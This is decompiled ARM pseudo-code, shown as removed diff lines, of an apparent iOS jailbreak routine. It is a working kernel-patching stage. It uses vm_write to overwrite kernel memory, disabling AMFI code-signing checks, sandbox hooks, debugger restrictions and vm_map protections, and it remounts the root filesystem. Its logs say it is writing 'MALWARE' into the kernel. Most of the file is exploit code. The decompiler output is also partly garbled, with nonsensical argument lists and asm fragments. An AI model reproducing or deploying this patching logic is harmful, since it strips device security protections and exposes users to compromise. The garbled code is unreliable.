- int _betterWorkingAndShit(int arg0, int arg1, int arg2, int arg3) {
- r7 = (sp - 0x14) + 0xc;
- sp = sp - 0xb8;
- r11 = arg0;
- r10 = arg3;
- _logToFile("Hacking the kernel\n", arg1, arg2, arg3);
- _kernelSize(arg1, sp + 0x8c);
- _logToFile("Kernel size: 0x%08x\n", r10, arg2, arg3);
- r5 = [[NSNotificationCenter defaultCenter] retain];
- r7 = r7;
- r4 = [[NSDictionary dictionaryWithObjects:sp + 0x88 forKeys:sp + 0x84 count:0x1, stack[2003], stack[2004], stack[2005], stack[2006], @selector(defaultCenter), @selector(dictionaryWithObjects:forKeys:count:), stack[2009], stack[2010], stack[2011], stack[2012], stack[2013], stack[2014], stack[2015], stack[2016], stack[2017], stack[2018], stack[2019], stack[2020], stack[2021], stack[2022], stack[2023], stack[2024], stack[2025], stack[2026], stack[2027]] retain];
- [r5 postNotificationName:@"YLUDidReceiveUpdateProgressNotification" object:0x0 userInfo:r4];
- [r4 release];
- [r5 release];
- r3 = sp + 0x7c;
- r2 = r10;
- stack[2010] = arg1;
- stack[2009] = arg2;
- _find_lwvm_patch_offsets(arg1, arg2, r2, r3, sp + 0x80);
- asm { ldrd r1, r2, [sp, #0xb0 + var_34] };
- r0 = _logToFile("Will write 0x%08x,0x%08x\n", r1, r2, r3);
- asm { ldrd r3, r0, [sp, #0xb0 + var_34] };
- stack[2004] = r11;
- if (r3 <= 0x4) {
- r2 = "\xC0F\xC0F";
- r1 = vm_write(r11, r0 - r3, r2, r3);
- if (r1 != 0x0) {
- r2 = "\xC0F\xC0F";
- _logToFile("Shit, vm write returned nonzero value: %d\n", r1, r2, r3);
- }
- }
- else {
- vm_write(*0x55dd0, r3, sp + 0x34, 0x4);
- }
- stack[2008] = @selector(dictionaryWithObjects:forKeys:count:);
- stack[2006] = @selector(postNotificationName:object:userInfo:);
- r7 = r7;
- r5 = [[NSNotificationCenter defaultCenter] retain];
- asm { strd r1, r0, [sp, #0xb0 + var_3C] };
- r7 = r7;
- r4 = [objc_msgSend(@class(NSDictionary), stack[2008]) retain];
- r6 = 0x0;
- objc_msgSend(r5, stack[2006]);
- [r4 release];
- r0 = [r5 release];
- asm { ldrd fp, r0, [sp, #0xb0 + var_94] };
- _find_remount_patch_offset(r0, r11, r10, sp + 0x70);
- _logToFile("Found remount off: 0x%08x\n", stack[2030], r10, sp + 0x70);
- r8 = 0x55dd0;
- vm_read_overwrite(*r8, stack[2030], 0x4, sp + 0x94, sp + 0x34);
- r5 = "Original value 0x%08x\n";
- _logToFile(r5, r6, 0x4, sp + 0x94);
- stack[2005] = r10;
- asm { bfi r4, sl, #0x8, #0x8 };
- vm_write(*r8, stack[2030], sp + 0x34, 0x4);
- vm_read_overwrite(*r8, stack[2030] + 0x14, 0x4, sp + 0x94, sp + 0x34);
- r4 = r6;
- _logToFile(r5, r4, 0x4, sp + 0x94);
- r0 = stack[2030];
- r2 = sp + 0x34;
- r3 = 0x4;
- asm { bfi r4, sl, #0x8, #0x8 };
- r10 = stack[2005];
- vm_write(*r8, r0 + 0x14, r2, r3);
- strdup("/dev/disk0s1s1");
- _logToFile("Mount succeeded? %d\n", mount("hfs", "/", 0x10000, sp + 0x6c), 0x10000, sp + 0x6c);
- r5 = [objc_msgSend(@class(NSNotificationCenter), stack[2007]) retain];
- r7 = r7;
- r4 = [objc_msgSend(@class(NSDictionary), stack[2008], sp + 0x68, sp + 0x64, 0x1, stack[2003], stack[2004], stack[2005], stack[2006], stack[2007], stack[2008], stack[2009], stack[2010], stack[2011], stack[2012], stack[2013], stack[2014], r4, stack[2016], stack[2017], stack[2018], stack[2019], stack[2020], stack[2021], stack[2022], stack[2023], stack[2024]) retain];
- objc_msgSend(r5, stack[2006]);
- [r4 release];
- [r5 release];
- r4 = stack[2010];
- _find_amfi_patch_offsets(r4, r11, r10, sp + 0x60, sp + 0x5c);
- asm { ldrd r2, r1, [sp, #0xb0 + var_54] };
- _logToFile("What we hacked: 0x%08x 0x%08x\n", r1, r2, r3);
- vm_write(*r8, stack[2026], sp + 0x34, 0x4);
- _find_i_can_has_debugger_patch_off(r4, r11, r10, sp + 0x58);
- _logToFile("I can has debugger dst: 0x%08x\n", stack[2024], r10, sp + 0x58);
- vm_write(*r8, stack[2024], sp + 0x34, 0x4);
- r11 = stack[2004];
- r1 = stack[2024] + 0x55;
- if (vm_write(r11, r1, "Marijuan", 0x8) != 0x0) {
- _logToFile("failed write kernel\n", r1, "Marijuan", 0x8);
- }
- _find_amfi_substrate_patch(stack[2010], stack[2009], r10, sp + 0x54);
- _find_real_vm_map_enter_patch(stack[2010], stack[2009], r10, sp + 0x50, sp + 0x4c);
- _find_real_vm_map_protect_patch(stack[2010], stack[2009], r10, sp + 0x48);
- asm { ldrd r2, r1, [sp, #0xb0 + var_60] };
- asm { ldrd r6, r3, [sp, #0xb0 + var_68] };
- _logToFile("Found a bunch of shit, amfi substrate: 0x%08x, vm map enter 0x%08x 0x%08x, vm_map_protect 0x%08x\n", r1, r2, r3);
- r1 = vm_write(r11, stack[2023], 0x4fe80, 0x2);
- if (r1 != 0x0) {
- _logToFile("Something went wrong vm writing amfi substrate HACK: %d\n", r1, 0x4fe80, 0x2);
- }
- r1 = vm_write(r11, stack[2022], 0x4fe80, 0x2);
- if (r1 != 0x0) {
- _logToFile("Something went wrong vm writing vm map enter HACK: %d\n", r1, 0x4fe80, 0x2);
- }
- r8 = 0x55dd0;
- vm_write(*r8, stack[2021], sp + 0x34, 0x4);
- vm_write(*r8, stack[2020], sp + 0x34, 0x4);
- stack[2003] = sp + 0x3c;
- r0 = sp + 0x40;
- stack[2002] = r0;
- asm { ldrd r1, r0, [sp, #0xb0 + var_94] };
- _find_another_amfi_hack(r0, r1, r10, sp + 0x44, stack[2002], stack[2003]);
- asm { ldrd r3, r2, [sp, #0xb0 + var_74] };
- _logToFile("0x%08x 0x%08x 0x%08x\n", stack[2019], r2, r3);
- vm_read_overwrite(r11, stack[2019], 0x8, sp + 0x34, sp + 0x30);
- r10 = stack[2037];
- _logToFile("where we will write MALWARE to: 0x%08x\n", r10, 0x8, sp + 0x34);
- vm_write(*r8, stack[2019], sp + 0x94, 0x4);
- vm_write(*r8, stack[2019] + 0x4, sp + 0x94, 0x4);
- r1 = r10;
- if (vm_write(r11, r1, 0x4fe83, 0x10) != 0x0) {
- _logToFile("Hacked FAILED\n", r1, 0x4fe83, 0x10);
- }
- r8 = 0x55dd0;
- vm_write(r11, r10 + 0x10, sp + 0x34, 0x8);
- r5 = [[NSNotificationCenter defaultCenter] retain];
- asm { strd r1, r0, [sp, #0xb0 + var_88] };
- r4 = [objc_msgSend(@class(NSDictionary), stack[2008]) retain];
- r11 = 0x0;
- objc_msgSend(r5, stack[2006]);
- [r4 release];
- [r5 release];
- r10 = stack[2010];
- r6 = stack[2009];
- r5 = stack[2005];
- _find_tfp_off(r10, r6, r5, sp + 0x24);
- r1 = stack[2011];
- r2 = sp + 0x94;
- asm { strd fp, fp, [sp, #0xb0 + var_20] };
- vm_read_overwrite(*r8, r1, 0x4, sp + 0x90, r2);
- r4 = sp + 0x94;
- vm_write(*r8, stack[2011], r4, 0x4);
- _logToFile("patched pid_check\n", stack[2011], r4, 0x4);
- r0 = _find_cs_enforcement_disable_amfi();
- asm { strd fp, fp, [sp, #0xb0 + var_20] };
- vm_read_overwrite(*r8, r0 + r10, 0x4, sp + 0x90, r4);
- vm_write(*r8, r0 + r10, sp + 0x94, 0x4);
- _find_sbops(r10, r6, r5, sp + 0x90);
- _logToFile("Found sbops 0x%08x\n", stack[2038], r5, sp + 0x90);
- vm_write(*r8, stack[2038] + 0x90, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x1e0, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x1e0, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x3f0, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x3f8, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x3fc, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x400, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x404 };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x408, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x40c };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x410, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x414 };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x420, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x424 };
- vm_write(r0, r1, r2, r3);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x42c };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x438, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x44c };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x450, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x454 };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x458, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x45c };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x460, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x460, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x464 };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x468, sp + 0x94, 0x4);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x46c };
- vm_write(r0, r1, r2, r3);
- r1 = stack[2038];
- r2 = sp + 0x94;
- r0 = *r8;
- r3 = 0x4;
- asm { addw r1, r1, #0x4bc };
- vm_write(r0, r1, r2, r3);
- vm_write(*r8, stack[2038] + 0x4f0, sp + 0x94, 0x4);
- vm_write(*r8, stack[2038] + 0x3d4, sp + 0x94, 0x4);
- r0 = vm_write(*r8, stack[2038] + 0x168, sp + 0x94, 0x4);
- return r0;
- }